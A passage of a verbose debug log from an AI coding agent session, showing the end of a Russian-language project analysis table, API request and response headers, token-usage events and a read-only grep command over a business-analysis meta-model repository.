\u0437\u0430\u0432\u0435\u0440\u0448\u0438\u043b\u0441\u044f exit 1 \u0441 `ERROR: run already exists`; \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u0443\u0436\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442. \u041f\u0440\u043e\u0432\u0435\u0440\u044f\u0442\u044c \u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0435 \u0438 \u043d\u043e\u0432\u044b\u0439 ID, \u0430 \u043d\u0435 \u043c\u0435\u043d\u044f\u0442\u044c gate. |\\n122:| 19 | \u041a\u0430\u043a \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c \u0431\u043e\u0435\u0432\u0443\u044e \u0437\u0430\u0434\u0430\u0447\u0443 | \u041c + \u0418; \u0414\u043e\u043a | README \u0433\u043e\u0432\u043e\u0440\u0438\u0442, \u0447\u0442\u043e real task \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441 approved Working, \u0442\u043e\u0433\u0434\u0430 \u043a\u0430\u043a Cline AGENTS \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0435\u0442 \u043f\u0438\u043b\u043e\u0442 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u0439 \u0441\u0438\u043d\u0442\u0435\u0442\u0438\u043a\u043e\u0439. \u0418\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0441\u043d\u044f\u0442\u044c \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043f\u0430\u043a\u0435\u0442\u0430; \u043d\u0443\u0436\u0435\u043d human gate \u043f\u043e real-task scope. |\\n134:| H1 | \u041e\u0434\u0438\u043d Source \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u0435\u043d \u0434\u043b\u044f \u043e\u0431\u0449\u0435\u0433\u043e BCREQ Working \u2192 Release: \u043e\u0431\u0449\u0438\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430/\u043a\u043e\u0434 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b. | \u041f\u0430\u0440\u043d\u044b\u0439 approved Working \u0438\u0437 \u043e\u0434\u043d\u043e\u0439 \u0440\u0435\u0432\u0438\u0437\u0438\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043d\u0435\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0445 \u043d\u043e\u0440\u043c\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u043f\u043e\u043b\u0435\u0439 \u0438\u043b\u0438 gate \u0432 \u0434\u0432\u0443\u0445 \u0441\u0440\u0435\u0434\u0430\u0445. | **\u041f\u043e\u0434\u0434\u0435\u0440\u0436\u0430\u043d\u0430 \u0442\u043e\u043b\u044c\u043a\u043e \u0434\u043b\u044f \u043c\u0435\u0445\u0430\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0441\u0440\u0435\u0437\u0430**: \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440, \u0441\u0445\u0435\u043c\u044b \u043e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f `$id`; live-\u0441\u0435\u043c\u0430\u043d\u0442\u0438\u043a\u0430 \u043e\u0442\u043a\u0440\u044b\u0442\u0430. |\\n137:| H4 | Debug \u043c\u043e\u0436\u043d\u043e \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043e\u0442 business-run \u0441 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u043c trace \u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438, \u043a\u0430\u043a \u0432 GigaCode. | Cline \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442\u044c \u0438\u0437\u043e\u043b\u044f\u0446\u0438\u044e \u0431\u0435\u0437 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f hook/gate \u0438\u043b\u0438 \u0441\u043c\u0435\u0448\u0435\u043d\u0438\u044f `runs/`. | **\u0427\u0430\u0441\u0442\u0438\u0447\u043d\u044b\u0439 gap \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d \u0441\u0442\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438**; \u0441\u043f\u043e\u0441\u043e\u0431 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u043e\u0442\u043a\u0440\u044b\u0442. \u041d\u0435 \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0442\u044c debug \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044e \u043a\u0430\u043a \u0431\u0443\u0434\u0442\u043e \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0433\u043e\u0442\u043e\u0432\u0430. |\",\n[2026-09-29T07:56:08.650Z] [INFO]     \"stderr\": \"\",\n[2026-09-29T07:56:08.650Z] [INFO]     \"interrupted\": false,\n[2026-09-29T07:56:08.650Z] [INFO]     \"isImage\": false,\n[2026-09-29T07:56:08.650Z] [INFO]     \"noOutputExpected\": false\n[2026-09-29T07:56:08.650Z] [INFO]   }\n[2026-09-29T07:56:08.650Z] [INFO] }\n[2026-09-29T07:56:08.681Z] [STDOUT] [log_67a778] sending request {\n[2026-09-29T07:56:08.688Z] [STDOUT]   method: \"POST\",\n[2026-09-29T07:56:08.690Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:56:08.693Z] [STDOUT]   options: {\n[2026-09-29T07:56:08.696Z] [STDOUT]     method: \"post\",\n[2026-09-29T07:56:08.698Z] [STDOUT]     path: \"/v1/messages?beta=true\",\n[2026-09-29T07:56:08.700Z] [STDOUT]     body: {\n[2026-09-29T07:56:08.702Z] [STDOUT]       model: \"claude-opus-5-5\",\n[2026-09-29T07:56:08.706Z] [STDOUT]       messages: [Array ...],\n[2026-09-29T07:56:08.708Z] [STDOUT]       system: [Array ...],\n[2026-09-29T07:56:08.711Z] [STDOUT]       tool_choice: undefined,\n[2026-09-29T07:56:08.720Z] [STDOUT]       metadata: [Object ...],\n[2026-09-29T07:56:08.725Z] [STDOUT]       max_tokens: 128000,\n[2026-09-29T07:56:08.730Z] [STDOUT]       thinking: [Object ...],\n[2026-09-29T07:56:08.750Z] [STDOUT]       context_management: [Object ...],\n[2026-09-29T07:56:08.753Z] [STDOUT]       output_config: [Object ...],\n[2026-09-29T07:56:08.757Z] [STDOUT]       thread: [Object ...],\n[2026-09-29T07:56:08.759Z] [STDOUT]       diagnostics: [Object ...],\n[2026-09-29T07:56:08.761Z] [STDOUT]       stream: true,\n[2026-09-29T07:56:08.765Z] [STDOUT]     },\n[2026-09-29T07:56:08.769Z] [STDOUT]     timeout: 600000,\n[2026-09-29T07:56:08.772Z] [STDOUT]     signal: AbortSignal {\n[2026-09-29T07:56:08.775Z] [STDOUT]       aborted: false,\n[2026-09-29T07:56:08.777Z] [STDOUT]       reason: undefined,\n[2026-09-29T07:56:08.778Z] [STDOUT]       onabort: null,\n[2026-09-29T07:56:08.780Z] [STDOUT]       throwIfAborted: [Function: throwIfAborted],\n[2026-09-29T07:56:08.783Z] [STDOUT]       addEventListener: [Function: addEventListener],\n[2026-09-29T07:56:08.786Z] [STDOUT]       removeEventListener: [Function: removeEventListener],\n[2026-09-29T07:56:08.790Z] [STDOUT]       dispatchEvent: [Function: dispatchEvent],\n[2026-09-29T07:56:08.792Z] [STDOUT]     },\n[2026-09-29T07:56:08.796Z] [STDOUT]     stream: true,\n[2026-09-29T07:56:08.799Z] [STDOUT]   },\n[2026-09-29T07:56:08.801Z] [STDOUT]   headers: {\n[2026-09-29T07:56:08.803Z] [STDOUT]     accept: \"application/json\",\n[2026-09-29T07:56:08.808Z] [STDOUT]     \"anthropic-beta\": \"claude-code-20250219,oauth-2025-04-20,interleaved-thinking-2025-05-14,thinking-token-count-2026-05-13,context-management-2025-06-27,prompt-caching-scope-2026-01-05,mid-conversation-system-2026-04-07,per-turn-control-2026-07-01,mid-conversation-tool-changes-2026-07-01,advisor-tool-2026-03-01,advanced-tool-use-2025-11-20,mid-conversation-system-clear-at-2026-08-21,effort-2025-11-24,thinking-binding-controls-2026-08-01,thinking-display-updates-2026-08-18,extended-cache-ttl-2025-04-11,cache-diagnosis-2026-04-07,message-threads-2026-08-12\",\n[2026-09-29T07:56:08.812Z] [STDOUT]     \"anthropic-dangerous-direct-browser-access\": \"true\",\n[2026-09-29T07:56:08.816Z] [STDOUT]     \"anthropic-dispatch-id\": \"v2d\",\n[2026-09-29T07:56:08.819Z] [STDOUT]     \"anthropic-version\": \"2023-06-01\",\n[2026-09-29T07:56:08.825Z] [STDOUT]     authorization: \"[REDACTED]\",\n[2026-09-29T07:56:08.832Z] [STDOUT]     \"content-type\": \"application/json\",\n[2026-09-29T07:56:08.835Z] [STDOUT]     \"user-agent\": \"claude-cli/2.1.284 (external, sdk-cli)\",\n[2026-09-29T07:56:08.842Z] [STDOUT]     \"x-app\": \"cli\",\n[2026-09-29T07:56:08.851Z] [STDOUT]     \"x-claude-code-prev-tool-durations\": \"Bash=1847\",\n[2026-09-29T07:56:08.855Z] [STDOUT]     \"x-claude-code-prompt-id\": \"0c6b6133-0ba4-48fe-8f91-a84541ac33b7\",\n[2026-09-29T07:56:08.858Z] [STDOUT]     \"x-claude-code-request-class\": \"main\",\n[2026-09-29T07:56:08.862Z] [STDOUT]     \"x-claude-code-session-id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:08.866Z] [STDOUT]     \"x-client-request-id\": \"056dca99-003e-435b-aff3-ed0af4274d54\",\n[2026-09-29T07:56:08.870Z] [STDOUT]     \"x-stainless-arch\": \"x64\",\n[2026-09-29T07:56:08.876Z] [STDOUT]     \"x-stainless-lang\": \"js\",\n[2026-09-29T07:56:08.883Z] [STDOUT]     \"x-stainless-os\": \"Linux\",\n[2026-09-29T07:56:08.887Z] [STDOUT]     \"x-stainless-package-version\": \"0.112.1\",\n[2026-09-29T07:56:08.891Z] [STDOUT]     \"x-stainless-retry-count\": \"0\",\n[2026-09-29T07:56:08.894Z] [STDOUT]     \"x-stainless-runtime\": \"node\",\n[2026-09-29T07:56:08.899Z] [STDOUT]     \"x-stainless-runtime-version\": \"v26.3.0\",\n[2026-09-29T07:56:08.902Z] [STDOUT]     \"x-stainless-timeout\": \"600\",\n[2026-09-29T07:56:08.906Z] [STDOUT]   },\n[2026-09-29T07:56:08.912Z] [STDOUT] }\n[2026-09-29T07:56:09.816Z] [STDOUT] [log_67a778, request-id: \"req_011CfXNaDxi6e8R5QuxSu55r\"] post https://api.anthropic.com/v1/messages?beta=true succeeded with status 200 in 1135ms\n[2026-09-29T07:56:09.822Z] [STDOUT] [log_67a778] response start {\n[2026-09-29T07:56:09.827Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:56:09.829Z] [STDOUT]   status: 200,\n[2026-09-29T07:56:09.832Z] [STDOUT]   headers: {\n[2026-09-29T07:56:09.836Z] [STDOUT]     \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:56:09.845Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:56:09.852Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:56:09.861Z] [STDOUT]     \"anthropic-ratelimit-unified-5h-utilization\": \"0.41\",\n[2026-09-29T07:56:09.864Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:56:09.868Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:56:09.870Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:56:09.874Z] [STDOUT]     \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:56:09.877Z] [STDOUT]     \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:56:09.880Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:56:09.883Z] [STDOUT]     \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:56:09.886Z] [STDOUT]     \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:56:09.889Z] [STDOUT]     \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:56:09.892Z] [STDOUT]     \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:56:09.895Z] [STDOUT]     \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:56:09.897Z] [STDOUT]     \"cache-control\": \"no-cache\",\n[2026-09-29T07:56:09.899Z] [STDOUT]     \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:56:09.906Z] [STDOUT]     \"cf-ray\": \"a4296dfa4f595d90-FRA\",\n[2026-09-29T07:56:09.909Z] [STDOUT]     connection: \"keep-alive\",\n[2026-09-29T07:56:09.912Z] [STDOUT]     \"content-encoding\": \"gzip\",\n[2026-09-29T07:56:09.915Z] [STDOUT]     \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:56:09.918Z] [STDOUT]     \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:56:09.919Z] [STDOUT]     date: \"Tue, 29 Sep 2026 07:56:09 GMT\",\n[2026-09-29T07:56:09.921Z] [STDOUT]     \"request-id\": \"req_011CfXNaDxi6e8R5QuxSu55r\",\n[2026-09-29T07:56:09.923Z] [STDOUT]     server: \"cloudflare\",\n[2026-09-29T07:56:09.925Z] [STDOUT]     \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:56:09.927Z] [STDOUT]     traceresponse: \"00-543f67cdd9b3622f6045b6a9cc652629-7991bf717bc85941-01\",\n[2026-09-29T07:56:09.928Z] [STDOUT]     \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:56:09.930Z] [STDOUT]     vary: \"Accept-Encoding\",\n[2026-09-29T07:56:09.932Z] [STDOUT]     \"x-robots-tag\": \"none\",\n[2026-09-29T07:56:09.934Z] [STDOUT]   },\n[2026-09-29T07:56:09.936Z] [STDOUT]   durationMs: 1135,\n[2026-09-29T07:56:09.937Z] [STDOUT] }\n[2026-09-29T07:56:09.939Z] [STDOUT] response 200 https://api.anthropic.com/v1/messages?beta=true Headers {\n[2026-09-29T07:56:09.940Z] [STDOUT]   \"date\": \"Tue, 29 Sep 2026 07:56:09 GMT\",\n[2026-09-29T07:56:09.942Z] [STDOUT]   \"content-type\": \"text/event-stream; charset=utf-8\",\n[2026-09-29T07:56:09.944Z] [STDOUT]   \"transfer-encoding\": \"chunked\",\n[2026-09-29T07:56:09.946Z] [STDOUT]   \"connection\": \"keep-alive\",\n[2026-09-29T07:56:09.947Z] [STDOUT]   \"cache-control\": \"no-cache\",\n[2026-09-29T07:56:09.949Z] [STDOUT]   \"strict-transport-security\": \"max-age=31536000; includeSubDomains; preload\",\n[2026-09-29T07:56:09.951Z] [STDOUT]   \"content-encoding\": \"gzip\",\n[2026-09-29T07:56:09.952Z] [STDOUT]   \"vary\": \"Accept-Encoding\",\n[2026-09-29T07:56:09.954Z] [STDOUT]   \"content-security-policy\": \"default-src 'none'; frame-ancestors 'none'\",\n[2026-09-29T07:56:09.956Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-status\": \"allowed\",\n[2026-09-29T07:56:09.958Z] [STDOUT]   \"anthropic-ratelimit-unified-representative-claim\": \"seven_day\",\n[2026-09-29T07:56:09.960Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-status\": \"rejected\",\n[2026-09-29T07:56:09.962Z] [STDOUT]   \"anthropic-ratelimit-unified-reset\": \"1790679600\",\n[2026-09-29T07:56:09.964Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-utilization\": \"0.41\",\n[2026-09-29T07:56:09.966Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-reset\": \"1790679600\",\n[2026-09-29T07:56:09.968Z] [STDOUT]   \"anthropic-ratelimit-unified-5h-reset\": \"1790678400\",\n[2026-09-29T07:56:09.970Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-status\": \"allowed_warning\",\n[2026-09-29T07:56:09.973Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-surpassed-threshold\": \"0.75\",\n[2026-09-29T07:56:09.976Z] [STDOUT]   \"anthropic-ratelimit-unified-fallback-percentage\": \"0.5\",\n[2026-09-29T07:56:09.979Z] [STDOUT]   \"anthropic-ratelimit-unified-overage-disabled-reason\": \"org_level_disabled\",\n[2026-09-29T07:56:09.983Z] [STDOUT]   \"anthropic-ratelimit-unified-7d-utilization\": \"0.77\",\n[2026-09-29T07:56:09.988Z] [STDOUT]   \"anthropic-ratelimit-unified-status\": \"allowed_warning\",\n[2026-09-29T07:56:09.990Z] [STDOUT]   \"request-id\": \"req_011CfXNaDxi6e8R5QuxSu55r\",\n[2026-09-29T07:56:09.993Z] [STDOUT]   \"traceresponse\": \"00-543f67cdd9b3622f6045b6a9cc652629-7991bf717bc85941-01\",\n[2026-09-29T07:56:09.995Z] [STDOUT]   \"anthropic-organization-id\": \"ebc2ac93-f86f-4d15-aff3-de8830d8d789\",\n[2026-09-29T07:56:09.998Z] [STDOUT]   \"anthropic-workspace-id\": \"wrkspc_0117gBnPr68DBsCrmom3Bxq6\",\n[2026-09-29T07:56:10.001Z] [STDOUT]   \"server\": \"cloudflare\",\n[2026-09-29T07:56:10.004Z] [STDOUT]   \"cf-cache-status\": \"DYNAMIC\",\n[2026-09-29T07:56:10.006Z] [STDOUT]   \"x-robots-tag\": \"none\",\n[2026-09-29T07:56:10.012Z] [STDOUT]   \"cf-ray\": \"a4296dfa4f595d90-FRA\",\n[2026-09-29T07:56:10.021Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:56:10.030Z] [STDOUT] [log_67a778] response parsed {\n[2026-09-29T07:56:10.049Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:56:10.055Z] [STDOUT]   status: 200,\n[2026-09-29T07:56:10.058Z] [STDOUT]   body: X {\n[2026-09-29T07:56:10.066Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:56:10.070Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:56:10.075Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:56:10.077Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:56:10.079Z] [STDOUT]     },\n[2026-09-29T07:56:10.081Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:56:10.088Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:56:10.092Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:56:10.101Z] [STDOUT]   },\n[2026-09-29T07:56:10.107Z] [STDOUT]   durationMs: 1136,\n[2026-09-29T07:56:10.110Z] [STDOUT] }\n[2026-09-29T07:56:10.371Z] [INFO] {\n[2026-09-29T07:56:10.371Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:56:10.371Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:56:10.371Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:56:10.371Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:56:10.371Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:10.371Z] [INFO]   \"uuid\": \"20593ce5-45e8-4df4-b7a2-aacd0b9713e2\"\n[2026-09-29T07:56:10.371Z] [INFO] }\n[2026-09-29T07:56:11.788Z] [INFO] {\n[2026-09-29T07:56:11.788Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:56:11.788Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:56:11.788Z] [INFO]   \"estimated_tokens\": 150,\n[2026-09-29T07:56:11.788Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:56:11.788Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:11.788Z] [INFO]   \"uuid\": \"e063fffc-a14d-48f1-bb5b-e40f5056d1ab\"\n[2026-09-29T07:56:11.788Z] [INFO] }\n[2026-09-29T07:56:12.363Z] [INFO] {\n[2026-09-29T07:56:12.363Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:56:12.363Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:56:12.363Z] [INFO]   \"estimated_tokens\": 321,\n[2026-09-29T07:56:12.363Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:56:12.363Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:12.363Z] [INFO]   \"uuid\": \"83d4071c-af1e-47e5-b285-7f75c17bc607\"\n[2026-09-29T07:56:12.363Z] [INFO] }\n[2026-09-29T07:56:12.370Z] [INFO] {\n[2026-09-29T07:56:12.370Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:56:12.370Z] [INFO]   \"message\": {\n[2026-09-29T07:56:12.370Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:56:12.370Z] [INFO]     \"id\": \"msg_011CfXNaEZC1tvoQusG78fe2\",\n[2026-09-29T07:56:12.370Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:56:12.370Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:56:12.370Z] [INFO]     \"content\": [\n[2026-09-29T07:56:12.370Z] [INFO]       {\n[2026-09-29T07:56:12.370Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:56:12.370Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:56:12.370Z] [INFO]         \"signature\": \"CAQS+QkKEAgSGAI4AUIIdGhpbmtpbmcSDMIPWGYKg2kmI/Q/5BoMDzxp1xm9pJwZ0h5ZIjBaxmMg4Kd3+Qnm+PtjaP2wqgSD2h4vK5qTN+QTnnTXt4czlzam6i1MLU3FN42MU1MqlglwTZyHmaISzciQHy9/GpH7PTIzF8SzO6L8fZ91v6TUqz2K4JSGIQ2CXB5U5YIAvN7ONIvj7LSlHSwZ6wYv3GLz+XhZz/y/CDT56c73dwz81XHMQW4XoaPGJPko+tt/8uPrVJH0oMp11JtyN1Rooq4Z3ne1Uf86u6JVoVy0NqJ4g0YP8tsA2NgH6ARM7DohrqHekajs0RPvR3RAF3Zhsv72Ke5VUyNgv+D89Q6pjbFRmUAbT5Fryr6bdGe2Ng0Mig+PYtCZ7OQFMFs4VPzC/9M3l/Pcq7YtfA2jPUwW1E3WPtrUNls768RqE9Acp3JyDB8FGG5mWc15NpjQjfF0Lk236p9spXZTNGNyWE2da5XY+yzbqByFlIC9oqCth7nh1a+cHYpEpI3xY69914hk0OUVpYTEUwJVdXh3DrHKUzqLIGMn2dVvE9En8AbHZScMTbk0Lxx4mKHFQchqk0ePgDg3XaPz9Bkz1oWJN6L1GzyoyPJ6ICXO2qbm1xV++O/qTvaItVn54zDI0U+9J0dwmGEj0lu4iRyxGH4eFrsuKojZCFZYS6KcunizfwHkmeMouLBdIi0/xB42AwDMaOyLxC7mVAhjxvKMWxIQGDbChBMTAaXnm4DijH2qnecaqSyH6SrADI+nwnDTQpMKYu6Xk+y93KhYRjEJFO2CH50gMwDgNgNs0m78TczI9zbEVXVTGgSkaXJOkJxHsxwoG2j2naE0riFPZR+s7xez5SzKcclPjDScM5ast0wlJo9aQOkcX9NCmFuRISddx0yNa+fghtCcY/DQe5Cwbg3BDaLqi8uojccyfeWQnLehcdHiV+vezvI6Jl/SFjpkuOn1lK0UpDZVdOlpCYgqE/4nvfpAE8MI8B/xZQFKp709yWjCLtqALw1T5alt4kySj8saznUtxqCRI4UUCunD7sI7dgw0WBIh3wue8mcvBdP3RwnmSwJmV6fbI9X/yo7IEoK/aGlpanZeHxr5V+nDkFl/w8AxgXYnTvbsD0MmLACZq3y/+77BuSwoToFtZnSLKT0A1dHKo6BqhtVXepdzDvB743cX53kkVPepODEUpgLcxflKVaJfxax9Zz21yInKJS/KgF+q5un4W7dblGNp26eExmUoeEnXO/qhZczaK38KiT6OknZ1ukY8AjC8IgTog7g2Wq7c+s0rI4QtwUVAxpKnfUwe4z70W3fjRJEQWqjrH9g16U4kmyw2fnCUiQpolt6fet8lEHYGdKj4UC5V0E7yBJjRYRhhvXj+6W6cAjOzzJDPElpP5b6M+3z2M6r+rFvUYN9MKYb+9PSHWPVXv9xu+vR+8X216ZCpQlDz6H2BqX7yp0vrcMKkfk4o22GzJvtf9RI0XaCTFOAOGVPN6PyDJlM41+gBq11abNLmWGzp2guBKjLidz7fQodBQIH8uIWZO4EB4Qwvgc722JaRn665/7aL3H1yr61m4cYbxbBF0oAzFjJATYjrAEKU2tP+yy8Xsfs42SBjQbC/bTrWN8TzuVhXeTgovO9TT0X18qrwEcuL+4ni9E5cxyUasFLJkZakdHORdSbMwkNzA2rzGAE=\"\n[2026-09-29T07:56:12.370Z] [INFO]       }\n[2026-09-29T07:56:12.370Z] [INFO]     ],\n[2026-09-29T07:56:12.370Z] [INFO]     \"container\": null,\n[2026-09-29T07:56:12.370Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:56:12.370Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:56:12.370Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:56:12.370Z] [INFO]     \"usage\": {\n[2026-09-29T07:56:12.370Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:56:12.370Z] [INFO]       \"cache_creation_input_tokens\": 2638,\n[2026-09-29T07:56:12.370Z] [INFO]       \"cache_read_input_tokens\": 58169,\n[2026-09-29T07:56:12.370Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:56:12.370Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:56:12.370Z] [INFO]         \"ephemeral_1h_input_tokens\": 2638\n[2026-09-29T07:56:12.370Z] [INFO]       },\n[2026-09-29T07:56:12.370Z] [INFO]       \"output_tokens\": 2,\n[2026-09-29T07:56:12.370Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:56:12.370Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:56:12.370Z] [INFO]     },\n[2026-09-29T07:56:12.370Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:56:12.370Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:56:12.370Z] [INFO]     \"context_management\": null\n[2026-09-29T07:56:12.370Z] [INFO]   },\n[2026-09-29T07:56:12.370Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:56:12.370Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:56:12.370Z] [INFO]   \"uuid\": \"9802fe74-de7f-4a7b-aaa5-7c2971a627e9\",\n[2026-09-29T07:56:12.370Z] [INFO]   \"timestamp\": \"2026-09-29T07:56:12.361Z\",\n[2026-09-29T07:56:12.370Z] [INFO]   \"request_id\": \"req_011CfXNaDxi6e8R5QuxSu55r\"\n[2026-09-29T07:56:12.370Z] [INFO] }\n[2026-09-29T07:56:14.267Z] [INFO] {\n[2026-09-29T07:56:14.267Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:56:14.267Z] [INFO]   \"message\": {\n[2026-09-29T07:56:14.267Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:56:14.267Z] [INFO]     \"id\": \"msg_011CfXNaEZC1tvoQusG78fe2\",\n[2026-09-29T07:56:14.267Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:56:14.267Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:56:14.267Z] [INFO]     \"content\": [\n[2026-09-29T07:56:14.267Z] [INFO]       {\n[2026-09-29T07:56:14.267Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:56:14.267Z] [INFO]         \"id\": \"toolu_01Kuk9nu8LwWo8AFxzwvBXXg\",\n[2026-09-29T07:56:14.267Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:56:14.267Z] [INFO]         \"input\": {\n[2026-09-29T07:56:14.267Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920/projects/ba-ai-process/ba-meta-model; grep -rn -i '\u0437\u0430\u043a\u0440\u044b\u0442.*\u0441\u043b\u043e\u0432\u0430\u0440\\\\|\u0441\u043b\u043e\u0432\u0430\u0440.*\u0437\u0430\u043a\u0440\u044b\u0442\\\\|\u0437\u0430\u043a\u0440\u044b\u0442\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a\\\\|closed' *.md skill-taxonomy/*.md operation-taxonomy/*.md 2>/dev/null | head -6; grep -rn '`G5`\\\\s*|\\\\|^| `G5`\\\\|G5 \u2014\\\\|`G5` \u2014' . | head -3\",\n[2026-09-29T07:56:14.267Z] 